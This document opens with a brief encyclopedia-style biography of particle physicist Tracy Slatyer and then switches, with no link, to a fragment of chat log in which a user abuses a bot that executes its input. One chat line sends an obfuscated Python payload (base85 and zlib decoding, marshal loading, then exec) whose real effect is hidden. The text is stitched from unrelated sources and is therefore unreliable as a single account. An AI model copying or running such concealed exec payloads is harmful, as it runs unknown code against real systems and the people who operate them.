Tracy Slatyer
Tracy Slatyer is a particle physicist with a concentration in theoretical astrophysics.[1][2] She was a 2014 recipient of the Rossi Prize for gamma ray detection of Fermi bubbles, which are unexpected large structure in our galaxy.[3][4][5] Her research also involves seeking explanations for dark matter and the gamma ray haze at the center of the Milky Way.[6]
Early life and education
She studied at Narrabundah College in Canberra, Australia.[7] Slatyer received her Ph.D. in 2010 from Harvard University.[3]

gollark: WHY WOULD YOU THAT WHAT EVEN WHYYYYY
gollark: What do you mean "IT RUNS EXEC ON INPUT"?!
gollark: &sys exec import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b85decode("c$`aSKm*J`>;S~YVn8B=A%!uAA&McDVF6<b(?Ui@AU~Kvlldh`rC*hFMoCFQv6a4lesOMMQFgIjNw$7^W>QINafy*8Qxr#0YGEmmU3`l<J+)*dLlF~D7nu0PVN+aEl$n=qcZ<U&H$SB`C)EyQaWP1eg9!jiY9ZG"))))
gollark: I can probably work something out, yes, hold on.
gollark: Huh, the command parsing is really weird.
